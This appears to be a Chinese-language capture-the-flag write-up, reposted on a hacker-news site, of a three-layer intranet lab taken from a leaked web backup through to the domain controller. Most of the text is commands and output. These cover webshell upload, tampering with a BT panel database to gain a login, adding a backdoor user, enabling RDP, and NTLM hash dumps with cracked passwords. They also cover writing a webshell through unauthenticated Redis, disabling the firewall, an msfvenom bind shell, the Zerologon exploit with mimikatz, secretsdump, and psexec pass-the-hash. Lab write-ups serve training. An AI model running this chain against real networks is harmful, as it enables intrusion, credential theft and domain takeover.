从外网代码审计到三层内网各种漏洞拿到域控

从外网代码审计到三层内网各种漏洞拿到域控

黑客学院访客2021-10-07 0:17:0010391A+A-

前言

本次靶场要求:
提示: http://www.cocat.cc/web.zip
四个root.txt分别在四台机子用户目录下拿到三个及格拿下四个满分

代码审计 Getshell

首先是一个站:cocat.cc

通过提示把它的备份文件下载到了本地进行审计:http://www.cocat.cc/web.zip

Bypass 突破执行命令

通过审计拿到了一个 webshell:http://www.cocat.cc/kss_tool/_webup.php

由于当前环境不能执行命令,函数都写死了:

通过翻文件翻到了Mysql的配置文件:

本想尝试Mysql udf提权绕过发现Mysql版本大于5.1

拿到宝塔后台权限

由于当前web是宝塔搭建的:

通过翻文件找到了宝塔后台地址:

C:/BtSoft/panel/data/admin_path.pl



然后通过把宝塔的default.db文件下载到本地打开,users表里就是宝塔的登陆账号密码:

md5是肯定解密不出来的:

这个时候需要替换md5或者添加一个用户:

然后把文件保存,上传到目标宝塔目录下:

这个时候使用账号saulGoodmang密码123456去登陆:

手动把禁用的函数关闭:

然后给他来个重启:

命令执行强行绕过:

拿到第一个 root.txt

flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}

内网渗透一

通过查看进程发现有火绒AV

随即做免杀上线到CS

发现当前内网应该是有其他主机存活的:

通过nbtscan发现内网还有一台主机存活:

通过fscan也扫描出来内网资产了:

为了进内网直接做了一个frp socks代理进去:

通过lengyi老哥的脚本绕过火绒添加了一个用户:

hacker 密码:P@ssw0rd



然后开启了它的3389:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f



为了方便我把shell弹到了msf

然后抓到了hash:(由于是 windows 2012 明文是抓不了的,只能抓 hash)

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::
www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::

通过解密得到了administrator的密码:QWEasd444

内网横向移动-192.168.59.4

通过msf对内网进行扫描arp存活发现了几台机器:(之前没扫描出来应该是有防火墙)

post/windows/gather/arp_scanner


192.168.59.1就不用看了是网关,192.168.59.4就是内网另一台主机!
随后proxychains+nmap192.168.59.4进行扫描探测端口服务:

proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379  192.168.59.4


发现开放的端口有:

web页面的话倒是没啥:

看了看扫描出来6379应该是redis相关漏洞!
通过尝试redis未授权发现连接成功!

但是查看信息发现出错,应该是密码问题:

通过msf redis爆破模块爆破出了密码:

重新登陆redis

proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq


登陆成功!现在要想拿到权限首先我们不知道网站路径(写不了一句话 ),但是知道当前网站使用的是IIS,那么IIS默认目录是:

C:\Inetpub\wwwroot

设想会不会是这个目录呢?随即写了一个aspxshellIIS默认目录:

192.168.59.4:6379> config set dir C:/inetpub/wwwroot/
OK
192.168.59.4:6379> config set dbfilename 1.aspx
OK
192.168.59.4:6379> set x '<%execute(request("x"))%>'  //注意这里要用单引号
OK
192.168.59.4:6379> save

发现写入不了,随后设置了读写权限 :

config set slave-read-only on 

然后发现读写可以了:

再来写一遍webshell

发现是404,写asp500,应该是什么东西拦截了。

随后bypass测试,可以通过这样绕过:(单引号中间要带空格)

set x '    <%execute(request("x"))%>    '


拿到 webshell:http://192.168.59.4/a.asp

内网渗透二

通过发现当前机器是不出网的,而且权限还很小:

发现当前机器上权限太小任何文件都上传不了:

通过找到了一个可读可写目录:

C:\ProgramData\VMware\logs\

并且当前机器上无任何杀软:

随即坏土豆提权成功:

拿到第二个 flag:

flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}


随即添加了一个asp.net管理员用户进去:

内网渗透-10.10.10.202

通过对内网进行存活探测发现内网存活了三台:10.10.10.20110.10.10.202(本机)、10.10.10.209:

for /l  %i  in (1,1,255) do @  ping  10.10.10.%i  -w  1  -n  1 |  find  /i  "ttl="


随后关闭它防火墙:

netsh advfirewall set allprofiles state off


然后MSF生成正向 shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe


目标运行9090.exe

随后MSF上线:

hashdump解密得到了密码:QWEasd1122:

紧接着开了它的远程桌面:(之前添加了一个asp.net用户,方便后续好登陆桌面 )

run post/windows/manage/enable_rdp



通过nbtcan发现10.10.10.201(DC)、10.10.10.209是域环境:

得想办法拿到一台域机器
对他们进行扫描端口发现他们都开放了web服务:

其中10.10.10.209还是一个Outlook Web App(微软的邮件组件)Exchange

但是我们没有账号,这个时候我在Redis上找到了pts文件:

C:\Users>for /r c:\ %i in (*.pst) do @echo %i
for /r c:\ %i in (*.pst) do @echo %i
c:\Documents and Settings\Administrator\Documents\Outlook \moonsec@cncat.cc.pst
c:\Documents and Settings\Administrator\Documents\Outlook \test@cncat.cc - test.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \moonsec@cncat.cc.pst
c:\Documents and Settings\Administrator\My Documents\Outlook \test@cncat.cc - test.pst
c:\Users\Administrator\Documents\Outlook \moonsec@cncat.cc.pst
c:\Users\Administrator\Documents\Outlook \test@cncat.cc - test.pst
c:\Users\Administrator\My Documents\Outlook \moonsec@cncat.cc.pst
c:\Users\Administrator\My Documents\Outlook \test@cncat.cc - test.pst


知道了两个用户邮箱:moonsec@cncat.cctest@cncat.cc
然后把文件都下载到本地,进行后续利用(发现都失败了)

CVE-2020-1472 拿到域控

之后发现他域控存在 CVE-2020-1472域内提权漏洞:(需要 20200918 之后的 mimikatz 才可以使用)

privilege::debug
lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$

lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit

导出所有域内用户凭证:

python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass

cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::

拿到域控和flag

利用msf psexec上线:

msf6 exploit(windows/smb/psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOSTS                10.10.10.201                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                                yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                                                                                    no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             cncat                                                              no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387  no        The password for the specified username
   SMBUser               Administrator                                                      no        The username to authenticate as


Payload options (windows/x64/meterpreter/bind_tcp_rc4):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXITFUNC     thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT        4446             yes       The listen port
   RC4PASSWORD  msf              yes       Password to derive RC4 key from
   RHOST        10.10.10.201     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/psexec) > run

[*] 10.10.10.201:445 - Connecting to the server...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 10.10.10.201:445 - Authenticating to 10.10.10.201:445|cncat as user 'Administrator'...
[*] 10.10.10.201:445 - Selecting PowerShell target
[*] 10.10.10.201:445 - Executing the payload...
[+] 10.10.10.201:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 10.10.10.201:4446
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] Sending stage (200266 bytes) to 10.10.10.201
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 180.215.199.206:22222) at 2021-06-02 06:35:22 +0000

meterpreter >                                                                                    

然后通过令牌窃取身份切换为域管:

然后通过和域机器10.10.10.209建立IPC

至此最后一个flag也拿到:
至此本次考核完毕!

结尾

对于红队成员来说最重要的就是渗透不能有短板,各种漏洞都应该去复现一遍,由于我Exchange的漏洞未复现导致卡了很长时间,最后还是使用暴力的手段拿到域控,在真实环境中很危险,很有可能导致域控的密码恢复不了!

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 1条评论
  • 可难粢醍2022-05-28 03:05:05
  • ------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thre

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理